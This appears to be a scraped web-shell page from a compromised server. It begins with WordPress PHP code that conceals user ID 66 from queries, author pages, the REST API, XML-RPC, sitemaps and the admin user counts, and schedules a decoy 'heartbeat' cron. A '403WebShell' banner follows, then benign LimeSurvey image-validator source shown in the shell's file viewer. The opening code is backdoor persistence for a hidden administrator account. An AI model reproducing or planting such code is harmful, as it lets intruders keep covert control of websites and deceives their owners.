add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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PHP Version : 8.4.23
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Current File : /var/www/html/limesurvey/application/core/LSYii_ImageValidator.php
<?php

if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}
/*
 * LimeSurvey
 * Copyright (C) 2007-2026 The LimeSurvey Project Team
 * All rights reserved.
 * License: GNU/GPL License v2 or later, see LICENSE.php
 * LimeSurvey is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 *
 */

class LSYii_ImageValidator
{
    /**
    * A function to validate images,
    * This don't validate file : must validate if file exist before.
    *
    * @param array|string $file Either array with keys 'tmp_name' and 'type' or full file path
    * @return array
    */
    public static function validateImage($file)
    {
        if (is_array($file)) {
            $path = $file['tmp_name'];
            $extension = strtolower(pathinfo((string) $file['name'], PATHINFO_EXTENSION));
            $type = $file['type'];
        } elseif (is_string($file)) {
            $parts = explode('.', $file);
            $path = $file;
            $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION));
            $type = 'image/' . $extension;
        } else {
            return [
                // No translation ? send $file ?
                'uploadresult' => 'Internal error: $file is not array or string',
                'check' => false
            ];
        }

        /** @var array<string, mixed> */
        $result = [];

        /** @var ?? */
        $checkImage = CFileHelper::getMimeType($path, null, false); // Don't fallback to checking the file extension because the tmp file name doesn't have one.
        $result['debug'] = $checkImage;

        // TODO: Why hard-coded?
        /** @var string[] */
        $allowedImageFormats = array(
            "image/png",
            "image/jpg",
            "image/jpeg",
            "image/ico",
            "image/gif",
            "image/svg+xml",
            "image/svg",
            "image/x-icon",
            "image/vnd.microsoft.icon"
        );

        if (
            !empty($checkImage)
            && in_array($extension, explode(",", (string) Yii::app()->getConfig('allowedthemeimageformats')))
            && in_array($checkImage, $allowedImageFormats)
            && in_array(strtolower((string) $type), $allowedImageFormats)
        ) {
            $result['uploadresult'] = '';
            $result['check'] = true;
        } else {
            // If $checkImage is empty, it's most probably because fileinfo is missing. But we check it to be sure.
            if (is_null($checkImage) && !function_exists('finfo_open')) {
                $result['uploadresult'] = gT("Fileinfo PHP extension is not installed. Couldn't validate the image format of the file.");
                $result['check'] = false;
            } else {
                $result['uploadresult'] = sprintf(gT("This file is not a supported image format - only the following ones are allowed: %s"), strtoupper((string) Yii::app()->getConfig('allowedthemeimageformats')));
                $result['check'] = false;
            }
        }
        return $result;
    }
}

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